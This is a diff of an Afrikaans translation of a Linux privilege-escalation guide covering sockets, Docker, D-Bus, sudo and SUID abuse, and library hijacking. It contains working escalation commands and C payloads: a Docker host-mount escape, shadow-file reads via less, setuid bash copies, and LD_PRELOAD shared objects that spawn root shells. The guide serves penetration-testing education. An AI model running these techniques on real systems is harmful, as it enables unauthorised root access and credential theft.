+- `ExecStartPre`, `ExecStartPost`: Neem een of meer opdragreëls wat onderskeidelik **uitgevoer word voordat** of **na** die luisterende **sockets**/FIFOs **geskep** en gebind is. Die eerste token van die opdragreël moet 'n absolute lêernaam wees, gevolg deur argumente vir die proses.
+- `ExecStopPre`, `ExecStopPost`: Bykomende **opdragte** wat onderskeidelik **uitgevoer word voordat** of **na** die luisterende **sockets**/FIFOs **gesluit** en verwyder word.
+- `Service`: Spesifiseer die **service**-unit naam **om te aktiveer** by **inkomende verkeer**. Hierdie instelling is slegs toegelaat vir sockets met Accept=no. Die standaard is die service wat dieselfde naam as die socket dra (met die agtervoegsel vervang). In meeste gevalle behoort dit nie nodig te wees om hierdie opsie te gebruik nie.
 
 ### Writable .socket files
 
-As jy 'n **skryfbare** `.socket`-lêer vind, kan jy aan die begin van die `[Socket]`-afdeling iets byvoeg soos: `ExecStartPre=/home/kali/sys/backdoor` en die backdoor sal uitgevoer word voordat die socket geskep word. Daarom sal jy **waarskynlik moet wag tot die masjien herbegin word.**\
-_Net toe dat die stelsel daardie socket-lêerkonfigurasie moet gebruik, anders sal die backdoor nie uitgevoer word nie_
+As jy 'n **skryfbare** `.socket` lêer vind kan jy aan die begin van die `[Socket]` afdeling iets soos: `ExecStartPre=/home/kali/sys/backdoor` **byvoeg** en die backdoor sal uitgevoer word voordat die socket geskep word. Daarom sal jy **waarskynlik moet wag totdat die masjien herbegin is.**\
+_Noot dat die stelsel daardie socket-lêerkonfigurasie moet gebruik anders sal die backdoor nie uitgevoer word nie_
 
 ### Writable sockets
 
-As jy enige **skryfbare socket** identifiseer (_nou praat ons van Unix Sockets en nie van die konfigurasie `.socket`-lêers nie_), dan **kan jy met daardie socket kommunikeer** en moontlik 'n kwesbaarheid uitbuit.
+As jy enige **skryfbare socket** identifiseer (_nou praat ons oor Unix Sockets en nie oor die config `.socket` lêers nie_), dan **kan jy kommunikeer** met daardie socket en moontlik 'n kwesbaarheid uitbuit.
 
 ### Enumereer Unix Sockets
 ```bash
@@ -499,7 +499,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
 #apt-get install socat
 socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
 ```
-**Exploitation example:**
+**Voorbeeld van eksploitasie:**
 
 
 {{#ref}}
@@ -508,28 +508,28 @@ socket-command-injection.md
 
 ### HTTP sockets
 
-Let daarop dat daar moontlik 'n paar **sockets wat na HTTP luister** bestaan vir versoeke (_Ek praat nie van .socket files nie, maar van die lêers wat as unix sockets optree_). Jy kan dit nagaan met:
+Let op dat daar moontlik sommige **sockets listening for HTTP** versoeke (_Ek praat nie oor .socket files nie, maar oor die lêers wat as unix sockets optree_). Jy kan dit nagaan met:
 ```bash
 curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
 ```
-Indien die socket **responds with an HTTP** request, kan jy daarmee **communicate** en moontlik **exploit some vulnerability**.
+If die socket **met 'n HTTP** versoek reageer, kan jy daarmee **kommunikeer** en dalk **'n kwesbaarheid exploit**.
 
 ### Skryfbare Docker Socket
 
-Die Docker-socket, dikwels gevind by `/var/run/docker.sock`, is 'n kritieke lêer wat beveilig moet word. Volgens verstek is dit skryfbaar deur die `root` gebruiker en lede van die `docker` groep. Skryftoegang tot hierdie socket kan lei tot privilege escalation. Hier is 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie.
+Die Docker socket, wat dikwels by `/var/run/docker.sock` gevind word, is 'n kritieke lêer wat beveilig moet word. By verstek is dit skryfbaar deur die `root` gebruiker en lede van die `docker` groep. Besit van write access tot hierdie socket kan lei tot privilege escalation. Hier is 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie.
 
 #### **Privilege Escalation with Docker CLI**
 
-As jy skryftoegang tot die Docker-socket het, kan jy privilege escalation bereik met die volgende opdragte:
+As jy write access tot die Docker socket het, kan jy privileges escalate met die volgende opdragte:
 ```bash
 docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
 docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
 ```
-Hierdie opdragte laat jou toe om 'n container met root-vlak toegang tot die gasheer se lêerstelsel te draai.
+Hierdie opdragte laat jou toe om 'n container met root-vlak toegang tot die gasheer se lêerstelsel te laat loop.
 
-#### **Gebruik die Docker API direk**
+#### **Docker API direk gebruik**
 
-In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker socket steeds gemanipuleer word met die Docker API en `curl` opdragte.
+In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker socket steeds gemanipuleer word deur die Docker API en `curl` opdragte.
 
 1.  **List Docker Images:** Haal die lys van beskikbare images op.
 
@@ -537,19 +537,19 @@ In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker socket stee
 curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
 ```
 
-2.  **Create a Container:** Stuur 'n versoek om 'n container te skep wat die gasheerstelsel se root directory mount.
+2.  **Create a Container:** Stuur 'n versoek om 'n container te skep wat die gasheerstelsel se root-gids mount.
 
 ```bash
 curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
 ```
 
-Begin die nuutgeskepte container:
+Start die pas geskepte container:
 
 ```bash
 curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
 ```
 
-3.  **Attach to the Container:** Gebruik `socat` om 'n verbinding met die container te vestig, sodat jy opdragte daarin kan uitvoer.
+3.  **Attach to the Container:** Gebruik `socat` om 'n verbinding met die container te vestig, wat toelaat dat jy opdragte daarin kan uitvoer.
 
 ```bash
 socat - UNIX-CONNECT:/var/run/docker.sock
@@ -563,27 +563,27 @@ Na die opstelling van die `socat`-verbinding kan jy opdragte direk in die contai
 
 ### Ander
 
-Neem kennis dat as jy skryf-toestemmings oor die docker socket het omdat jy **inside the group `docker`** is, het jy [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). As die [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising) kan jy dit ook kompromitteer.
+Neem kennis dat as jy skryfregte oor die docker socket het omdat jy **binne die groep `docker`** is, jy [**meer maniere om voorregte te eskaleer**](interesting-groups-linux-pe/index.html#docker-group). As die [**docker API op 'n poort luister** kan jy dit ook kompromitteer](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
 
-Kyk na **more ways to break out from docker or abuse it to escalate privileges** in:
+Kyk na **meer maniere om uit docker te breek of dit te misbruik om voorregte te eskaleer** in:
 
 
 {{#ref}}
 docker-security/
 {{#endref}}
 
-## Containerd (ctr) privilege escalation
+## Containerd (ctr) voorregte eskalering
 
-As jy vind dat jy die **`ctr`** opdrag kan gebruik, lees die volgende bladsy aangesien **you may be able to abuse it to escalate privileges**:
+As jy uitvind dat jy die **`ctr`** opdrag kan gebruik, lees die volgende bladsy aangesien **jy dit moontlik kan misbruik om voorregte te eskaleer**:
 
 
 {{#ref}}
 containerd-ctr-privilege-escalation.md
 {{#endref}}
 
-## **RunC** privilege escalation
+## **RunC** voorregte eskalering
 
-As jy vind dat jy die **`runc`** opdrag kan gebruik, lees die volgende bladsy aangesien **you may be able to abuse it to escalate privileges**:
+As jy uitvind dat jy die **`runc`** opdrag kan gebruik, lees die volgende bladsy aangesien **jy dit moontlik kan misbruik om voorregte te eskaleer**:
 
 
 {{#ref}}
@@ -592,13 +592,13 @@ runc-privilege-escalation.md
 
 ## **D-Bus**
 
-D-Bus is 'n gevorderde inter-Process Communication (IPC) system wat toepassings in staat stel om doeltreffend te kommunikeer en data te deel. Dit is ontwerp met die moderne Linux-stelsel in gedagte en bied 'n robuuste raamwerk vir verskeie vorme van toepassingskommunikasie.
+D-Bus is 'n gesofistikeerde **inter-proses kommunikasie (IPC)-stelsel** wat toepassings in staat stel om doeltreffend te kommunikeer en data te deel. Ontwerp met die moderne Linux-stelsel in gedagte, bied dit 'n robuuste raamwerk vir verskeie vorme van toepassingskommunikasie.
 
-Die stelsel is veelsydig en ondersteun basiese IPC wat die data-uitruiling tussen prosesse verbeter, soortgelyk aan verbeterde UNIX domain sockets. Verder help dit met die uitsending van events of seine, wat naatlose integrasie tussen stelselkomponente bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth daemon oor 'n inkomende oproep kan 'n music player laat demp om die gebruikerservaring te verbeter. D-Bus ondersteun ook 'n remote object system wat diensversoeke en metode-aanroepe tussen toepassings vereenvoudig, en sodoende prosesse wat tradisioneel kompleks was, stroomlyn.
+Die stelsel is veelsydig en ondersteun basiese IPC wat data-uitruiling tussen prosesse verbeter, soortgelyk aan **enhanced UNIX domain sockets**. Verder help dit met die uitsend van gebeurtenisse of seine, wat naatlose integrasie tussen stelselkomponente bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth-daemon oor 'n inkomende oproep kan 'n musiekspeler veroorsaak om te demp, wat die gebruikerservaring verbeter. Daarbenewens ondersteun D-Bus 'n remote object-stelsel, wat diensversoeke en metode-oproepe tussen toepassings vereenvoudig en prosesse wat tradisioneel kompleks was, stroomlyn.
 
-D-Bus werk op 'n allow/deny model en bestuur boodskaptoestemmings (metode-oproepe, sein-uitsendings, ens.) gebaseer op die kumulatiewe effek van ooreenstemmende beleidsreëls. Hierdie beleidsreëls spesifiseer interaksies met die bus en kan moontlik tot privilege escalation lei deur die uitbuiting van hierdie toestemmings.
+D-Bus werk op 'n **toelaat/weier-model**, en bestuur boodskaptoestemmings (metode-oproepe, seinuitsendings, ens.) gebaseer op die kumulatiewe effek van ooreenstemmende beleidsreëls. Hierdie beleide spesifiseer interaksies met die bus en kan moontlik vir voorregte eskalering misbruik word deur hierdie toestemmings uit te buit.
 
-'n Voorbeeld van so 'n beleid in /etc/dbus-1/system.d/wpa_supplicant.conf word verskaf, wat toestemmings vir die root-gebruiker beskryf om `fi.w1.wpa_supplicant1` te besit, na te stuur en vanaf te ontvang.
+'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word verskaf, wat die toestemmings vir die root-gebruiker beskryf om `fi.w1.wpa_supplicant1` te besit, na te stuur en boodskappe daarvan te ontvang.
 
 Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "default" konteksbeleide van toepassing is op almal wat nie deur ander spesifieke beleide gedek word nie.
 ```xml
@@ -609,7 +609,7 @@ Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "de
 <allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
 </policy>
 ```
-**Leer hoe om 'n D-Bus-kommunikasie te ontleed en uit te buit hier:**
+**Leer hoe om 'n D-Bus kommunikasie te enumerate en te exploit hier:**
 
 
 {{#ref}}
@@ -618,9 +618,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md
 
 ## **Netwerk**
 
-Dit is altyd interessant om die netwerk te ontleed en die posisie van die masjien uit te vind.
+Dit is altyd interessant om die netwerk te enumerate en die posisie van die masjien uit te vind.
 
-### Generiese enumerasie
+### Generiese enumeration
 ```bash
 #Hostname, hosts and DNS
 cat /etc/hostname /etc/hosts /etc/resolv.conf
@@ -643,16 +643,16 @@ cat /etc/networks
 #Files used by network services
 lsof -i
 ```
-### Open ports
+### Oop poorte
 
-Kontroleer altyd network services wat op die masjien loop en waarmee jy nie kon kommunikeer voordat jy toegang daartoe gekry het nie:
+Kontroleer altyd netwerkdienste wat op die masjien loop en waarmee jy nie kon kommunikeer voordat jy toegang daartoe verkry het nie:
 ```bash
 (netstat -punta || ss --ntpu)
 (netstat -punta || ss --ntpu) | grep "127.0"
 ```
 ### Sniffing
 
-Kontroleer of jy traffic kan sniff. Indien ja, kan jy moontlik credentials kry.
+Kontroleer of jy traffic kan sniff. As jy dit kan, kan jy dalk 'n paar credentials vang.
 ```
 timeout 1 tcpdump
 ```
@@ -660,7 +660,7 @@ timeout 1 tcpdump
 
 ### Generiese Enumerasie
 
-Kontroleer **wie** jy is, watter **voorregte** jy het, watter **gebruikers** in die stelsels is, watter van hulle kan **login** en watter het **root voorregte:**
+Kontroleer **wie** jy is, watter **bevoegdhede** jy het, watter **gebruikers** in die stelsels is, watter daarvan kan **aanmeld** en watter een het **root-bevoegdhede:**
 ```bash
 #Info about me
 id || (whoami && groups) 2>/dev/null
@@ -682,14 +682,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so
 #Current user PGP keys
 gpg --list-keys 2>/dev/null
 ```
-### Groot UID
+### Big UID
 
-Sommige Linux-weergawes is deur 'n fout geraak wat gebruikers met **UID > INT_MAX** toelaat om voorregte te eskaleer. Meer inligting: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\
+Sommige Linux-weergawes is geraak deur 'n fout wat gebruikers met **UID > INT_MAX** toelaat om escalate privileges. Meer inligting: [hier](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [hier](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\
 **Exploit it** using: **`systemd-run -t /bin/bash`**
 
 ### Groepe
 
-Kontroleer of jy 'n **lid van 'n groep** is wat jou root-voorregte kan gee:
+Kontroleer of jy 'n **lid van 'n groep** is wat jou root privileges kan gee:
 
 
 {{#ref}}
@@ -698,7 +698,7 @@ interesting-groups-linux-pe/
 
 ### Klembord
 
-Kyk of daar iets interessants in die klembord is (indien moontlik)
+Kontroleer of daar iets interessant in die klembord is (indien moontlik)
 ```bash
 if [ `which xclip 2>/dev/null` ]; then
 echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
@@ -713,24 +713,24 @@ fi
 ```bash
 grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
 ```
-### Bekende wagwoorde
+### Bekende passwords
 
-As jy **enige wagwoord** van die omgewing ken, **probeer om as elke gebruiker aan te meld** met daardie wagwoord.
+As jy enige password van die omgewing ken, probeer om as elke user te login met daardie password.
 
 ### Su Brute
 
-As jy nie omgee om baie geraas te maak nie en die `su` en `timeout` binaries op die rekenaar teenwoordig is, kan jy probeer om gebruikers te brute-force met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
-[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) met die `-a` parameter probeer ook om gebruikers te brute-force.
+Indien jy nie omgee om baie noise te maak en die `su` en `timeout` binaries op die rekenaar teenwoordig is nie, kan jy probeer om users te brute-force met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
+[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) met die `-a` parameter probeer ook om users te brute-force.
 
-## Skryfbare PATH misbruik
+## Skryfbare PATH-misbruik
 
 ### $PATH
 
-As jy ontdek dat jy **in 'n gids van die $PATH kan skryf**, kan jy dalk bevoegdhede verhoog deur **'n backdoor in die skryfbare gids te skep** met die naam van 'n opdrag wat deur 'n ander gebruiker (idealiter root) uitgevoer gaan word en wat **nie vanaf 'n gids gelaai word wat voor jou skryfbare gids in die $PATH geleë is nie.**
+Indien jy vind dat jy binne 'n folder op die $PATH kan write, kan jy moontlik privileges escalate deur 'n backdoor in die writable folder te create met die naam van 'n command wat deur 'n ander user (idealiter root) uitgevoer gaan word en wat nie loaded word vanaf 'n folder wat voor jou writable folder op die $PATH lê nie.
 
 ### SUDO and SUID
 
-Jy mag toegelaat word om sekere opdragte met sudo uit te voer, of dit kan die suid bit hê. Kontroleer dit met:
+Jy mag dalk toegelaat word om 'n command met sudo uit te voer, of dit kan die suid bit hê. Kontroleer dit met:
 ```bash
 sudo -l #Check commands you can execute with sudo
 find / -perm -4000 2>/dev/null #Find all SUID binaries
@@ -746,13 +746,13 @@ less>! <shell_comand>
 ```
 ### NOPASSWD
 
-Sudo-konfigurasie kan 'n user toelaat om 'n command met die voorregte van 'n ander user uit te voer sonder om die password te ken.
+Sudo configuration kan 'n gebruiker toelaat om 'n opdrag met 'n ander gebruiker se regte uit te voer sonder om die wagwoord te ken.
 ```
 $ sudo -l
 User demo may run the following commands on crashlab:
 (root) NOPASSWD: /usr/bin/vim
 ```
-In hierdie voorbeeld kan die gebruiker `demo` `vim` as `root` uitvoer, dit is nou triviaal om 'n shell te kry deur 'n ssh key in die root directory te voeg of deur `sh` aan te roep.
+In hierdie voorbeeld kan die gebruiker `demo` `vim` as `root` uitvoer; dit is nou eenvoudig om 'n shell te kry deur 'n ssh key in die root-gids te voeg of deur `sh` aan te roep.
 ```
 sudo vim -c '!sh'
 ```
@@ -764,18 +764,18 @@ $ sudo -l
 User waldo may run the following commands on admirer:
 (ALL) SETENV: /opt/scripts/admin_tasks.sh
 ```
-Hierdie voorbeeld, **gebaseer op HTB machine Admirer**, was **vatbaar** vir **PYTHONPATH hijacking** om 'n willekeurige python-biblioteek te laai terwyl die skrip as root uitgevoer is:
+Hierdie voorbeeld, **gebaseer op HTB machine Admirer**, was **vulnerable** vir **PYTHONPATH hijacking** om 'n arbitrêre python library te laai terwyl die skrip as root uitgevoer word:
 ```bash
 sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
 ```
 ### BASH_ENV behou via sudo env_keep → root shell
 
-As sudoers `BASH_ENV` behou (bv. `Defaults env_keep+="ENV BASH_ENV"`), kan jy Bash se nie-interaktiewe opstartgedrag benut om willekeurige kode as root uit te voer wanneer 'n toegelate opdrag aangeroep word.
+Indien sudoers `BASH_ENV` behou (bv. `Defaults env_keep+="ENV BASH_ENV"`), kan jy Bash se nie-interaktiewe opstartgedrag benut om ewekansige kode as root uit te voer wanneer ’n toegelate opdrag aangeroep word.
 
-- Waarom dit werk: Vir nie-interaktiewe shells evalueer Bash `$BASH_ENV` en source daardie lêer voordat die teikenskrip uitgevoer word. Baie sudo-reëls laat toe om 'n skrip of 'n shell-wrapper uit te voer. As `BASH_ENV` deur sudo behou word, word jou lêer met root-voorregte gesourced.
+- Why it works: Vir nie-interaktiewe shells evalueer Bash `$BASH_ENV` en laai daardie lêer voordat die teiken-skrip uitgevoer word. Baie sudo-reëls laat toe om ’n script of ’n shell-wrapper uit te voer. As `BASH_ENV` deur sudo behou word, word jou lêer met root-bevoegdhede ingelaai.
 
 - Vereistes:
-- 'n sudo-reël wat jy kan uitvoer (enige teiken wat `/bin/bash` nie-interaktief oproep, of enige bash-skrip).
+- ’n sudo-reël wat jy kan gebruik (enige teiken wat `/bin/bash` nie-interaktief aanroep, of enige bash-skrip).
 - `BASH_ENV` teenwoordig in `env_keep` (kontroleer met `sudo -l`).
 
 - PoC:
@@ -789,13 +789,13 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo   # or any permitted script/
 # You should now have a root shell
 ```
 - Verharding:
-- Verwyder `BASH_ENV` (en `ENV`) uit `env_keep`; verkies `env_reset`.
-- Vermy shell-wrappers vir sudo-allowed opdragte; gebruik minimale binaries.
-- Oorweeg sudo I/O-logboekvoering en waarskuwings wanneer bewaarde env vars gebruik word.
+- Verwyder `BASH_ENV` (en `ENV`) uit `env_keep`, verkies `env_reset`.
+- Vermy shell wrappers vir sudo-toegestane opdragte; gebruik minimale binaries.
+- Oorweeg sudo I/O logging en waarskuwings wanneer bewaarde env vars gebruik word.
 
-### Sudo uitvoering omseilingspade
+### Paaie wat sudo-uitvoering omseil
 
-**Jump** om ander lêers te lees of gebruik **symlinks**. Byvoorbeeld in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_
+**Gaan na** om ander lêers te lees of gebruik **symlinks**. Byvoorbeeld in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_
 ```bash
 sudo less /var/logs/anything
 less>:e /etc/shadow #Jump to read other files using privileged less
@@ -805,46 +805,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less
 ln /etc/shadow /var/log/new
 sudo less /var/log/new #Use symlinks to read any file
 ```
-Indien **wildcard** gebruik word (\*), is dit selfs makliker:
+As 'n **wildcard** gebruik word (\*), is dit selfs makliker:
 ```bash
 sudo less /var/log/../../etc/shadow #Read shadow
 sudo less /var/log/something /etc/shadow #Red 2 files
 ```
 **Teenmaatreëls**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
 
-### Sudo command/SUID binary sonder command path
+### Sudo-opdrag/SUID-binarie sonder opdragpad
 
-As die **sudo permission** aan 'n enkele command' gegee word **sonder om die path te spesifiseer**: _hacker10 ALL= (root) less_ kan jy dit uitbuit deur die PATH variable te verander
+As die **sudo toestemming** aan 'n enkele opdrag **gegee word sonder om die pad te spesifiseer**: _hacker10 ALL= (root) less_ kan jy dit uitbuit deur die PATH-veranderlike te verander.
 ```bash
 export PATH=/tmp:$PATH
 #Put your backdoor in /tmp and name it "less"
 sudo less
 ```
-Hierdie tegniek kan ook gebruik word as 'n **suid** binary **voer 'n ander opdrag uit sonder om die pad daarvoor te spesifiseer (kontroleer altyd met** _**strings**_ **die inhoud van 'n vreemde SUID binary)**).
+Hierdie tegniek kan ook gebruik word as 'n **suid** binary **voer 'n ander opdrag uit sonder om die pad daarna te spesifiseer (kontroleer altyd met** _**strings**_ **die inhoud van 'n vreemde SUID binary)**).
 
 [Payload examples to execute.](payloads-to-execute.md)
 
-### SUID binary met opdragpad
+### SUID binary met die pad na die opdrag
 
-As die **suid** binary **'n ander opdrag uitvoer en die pad daarvoor spesifiseer**, kan jy probeer om 'n funksie met dieselfde naam as die opdrag wat die suid-lêer oproep, te **export**.
+As die **suid** binary **'n ander opdrag uitvoer en die pad spesifiseer**, kan jy probeer om **export a function** te skep met die naam van die opdrag wat die suid-lêer aanroep.
 
-Byvoorbeeld, as 'n suid binary aanroep _**/usr/sbin/service apache2 start**_ moet jy probeer om die funksie te skep en dit te **export**:
+Byvoorbeeld, as 'n suid binary _**/usr/sbin/service apache2 start**_ aanroep, moet jy probeer om die function te skep en dit te export:
 ```bash
 function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
 export -f /usr/sbin/service
 ```
-Dan, wanneer jy die suid binary aanroep, sal hierdie funksie uitgevoer word
+Wanneer jy dan die suid binary aanroep, sal hierdie funksie uitgevoer word
 
 ### LD_PRELOAD & **LD_LIBRARY_PATH**
 
-Die **LD_PRELOAD** omgewingveranderlike word gebruik om een of meer gedeelde biblioteke (.so files) te spesifiseer wat deur die laaier voor alle ander gelaai word, insluitend die standaard C-biblioteek (`libc.so`). Hierdie proses staan bekend as die vooraflading van 'n biblioteek.
+Die **LD_PRELOAD** omgewingsveranderlike word gebruik om een of meer gedeelde biblioteke (.so files) aan te dui wat deur die loader gelaai moet word voor alle ander, insluitend die standaard C-biblioteek (`libc.so`). Hierdie proses staan bekend as die voorlaai van 'n biblioteek.
 
-Om die stelsel se sekuriteit te handhaaf en te verhoed dat hierdie funksie uitgebuit word, veral met **suid/sgid** uitvoerbare lêers, stel die stelsel sekere voorwaardes af:
+Om stelselsekuriteit te handhaaf en te voorkom dat hierdie funksie misbruik word, veral met **suid/sgid** executables, dwing die stelsel sekere voorwaardes af:
 
-- Die laaier ignoreer **LD_PRELOAD** vir uitvoerbare lêers waar die werklike gebruikers-ID (_ruid_) nie ooreenstem met die effektiewe gebruikers-ID (_euid_) nie.
-- Vir uitvoerbare lêers met suid/sgid word slegs biblioteke in standaardpade wat ook suid/sgid is voorafgelaai.
+- Die loader ignoreer **LD_PRELOAD** vir executables waar die real user ID (_ruid_) nie met die effective user ID (_euid_) ooreenstem nie.
+- Vir executables met suid/sgid word slegs biblioteke in standaardpade wat ook suid/sgid is, voorafgelaai.
 
-Privilege escalation kan voorkom as jy die vermoë het om opdragte met `sudo` uit te voer en die uitset van `sudo -l` die stelling **env_keep+=LD_PRELOAD** insluit. Hierdie konfigurasie laat toe dat die **LD_PRELOAD** omgewingveranderlike behoue bly en erken word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik kan lei tot die uitvoering van arbitrêre kode met verhoogde regte.
+Privilege escalation kan plaasvind as jy die vermoë het om opdragte met `sudo` uit te voer en die uitset van `sudo -l` die stelling **env_keep+=LD_PRELOAD** insluit. Hierdie konfigurasie laat toe dat die **LD_PRELOAD** omgewingsveranderlike behoue bly en erken word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik kan lei tot die uitvoering van ewekansige kode met verhoogde regte.
 ```
 Defaults        env_keep += LD_PRELOAD
 ```
@@ -861,17 +861,17 @@ setuid(0);
 system("/bin/bash");
 }
 ```
-Dan **kompileer dit** met:
+Dan **compile it** deur te gebruik:
 ```bash
 cd /tmp
 gcc -fPIC -shared -o pe.so pe.c -nostartfiles
 ```
-Laastens, **escalate privileges** lopend
+Uiteindelik, **escalate privileges** wat uitgevoer word
 ```bash
 sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
 ```
 > [!CAUTION]
-> 'n soortgelyke privesc kan misbruik word as die aanvaller die **LD_LIBRARY_PATH** env variable beheer, omdat hy die pad beheer waar libraries gesoek gaan word.
+> ’n Soortgelyke privesc kan misbruik word as die aanvaller die **LD_LIBRARY_PATH** omgewingsveranderlike beheer, omdat hy die pad beheer waar biblioteke gesoek gaan word.
 ```c
 #include <stdio.h>
 #include <stdlib.h>
@@ -893,13 +893,13 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
 ```
 ### SUID Binary – .so injection
 
-Wanneer jy op 'n binary met **SUID**-toegangsregte stuit wat ongewone voorkom, is dit 'n goeie praktyk om te verifieer of dit **.so**-lêers behoorlik laai. Dit kan nagegaan word deur die volgende opdrag uit te voer:
+Wanneer jy 'n binary met **SUID** toestemmings teëkom wat vreemd lyk, is dit 'n goeie praktyk om te verifieer of dit **.so**-lêers behoorlik laai. Dit kan nagegaan word deur die volgende opdrag uit te voer:
 ```bash
 strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
 ```
-Byvoorbeeld, om 'n fout teë te kom soos _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ dui op 'n potensiaal vir uitbuiting.
+Byvoorbeeld, die voorkoms van ’n fout soos _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ dui op ’n moontlikheid vir uitbuiting.
 
-Om dit uit te buit, sal 'n mens voortgaan deur 'n C-lêer te skep, sê _"/path/to/.config/libcalc.c"_, wat die volgende kode bevat:
+Om dit uit te buiten, skep ’n C-lêer, byvoorbeeld _"/path/to/.config/libcalc.c"_, wat die volgende kode bevat:
 ```c
 #include <stdio.h>
 #include <stdlib.h>
@@ -910,13 +910,13 @@ void inject(){
 system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
 }
 ```
-Hierdie kode, sodra dit saamgestel en uitgevoer is, poog om privileges te verhoog deur lêertoestemmings te manipuleer en 'n shell met verhoogde privileges uit te voer.
+Hierdie kode, sodra dit gekompileer en uitgevoer is, poog om voorregte te verhoog deur lêertoestemmings te manipuleer en 'n shell met verhoogde voorregte uit te voer.
 
-Kompileer die bogenoemde C file in 'n shared object (.so) file met:
+Kompileer die bogenoemde C-lêer tot 'n shared object (.so)-lêer met:
 ```bash
 gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
 ```
-Uiteindelik behoort die uitvoering van die aangetaste SUID binary die exploit te aktiveer, wat tot 'n potensiële system compromise kan lei.
+Uiteindelik behoort die aangetasde SUID binary die exploit te aktiveer, wat 'n potensiële system compromise moontlik maak.
 
 ## Shared Object Hijacking
 ```bash
@@ -928,7 +928,7 @@ something.so => /lib/x86_64-linux-gnu/something.so
 readelf -d payroll  | grep PATH
 0x000000000000001d (RUNPATH)            Library runpath: [/development]
 ```
-Nou dat ons 'n SUID binary gevind het wat 'n library vanaf 'n folder laai waarin ons kan skryf, laat ons die library in daardie folder skep met die nodige naam:
+Nou dat ons 'n SUID binary gevind het wat 'n library laai vanaf 'n folder waarin ons kan write, kom ons skep die library in daardie folder met die nodige naam:
 ```c
 //gcc src.c -fPIC -shared -o /development/libshared.so
 #include <stdio.h>
@@ -941,17 +941,17 @@ setresuid(0,0,0);
 system("/bin/bash -p");
 }
 ```
-As jy 'n fout kry soos
+As jy 'n fout soos
 ```shell-session
 ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
 ```
-dit beteken dat die biblioteek wat jy gegenereer het `a_function_name` moet hê.
+dit beteken dat die biblioteek wat jy gegenereer het 'n funksie met die naam `a_function_name` moet hê.
 
 ### GTFOBins
 
-[**GTFOBins**](https://gtfobins.github.io) is 'n gekureerde lys van Unix binaries wat deur 'n aanvaller misbruik kan word om plaaslike sekuriteitsbeperkings te omseil. [**GTFOArgs**](https://gtfoargs.github.io/) is dieselfde maar vir gevalle waar jy **slegs inject argumente** in 'n opdrag kan.
+[**GTFOBins**](https://gtfobins.github.io) is 'n gekeurde lys van Unix-binaries wat deur 'n aanvaller misbruik kan word om plaaslike sekuriteitsbeperkings te omseil. [**GTFOArgs**](https://gtfoargs.github.io/) is dieselfde maar vir gevalle waar jy **slegs argumente kan inject** in 'n opdrag.
 
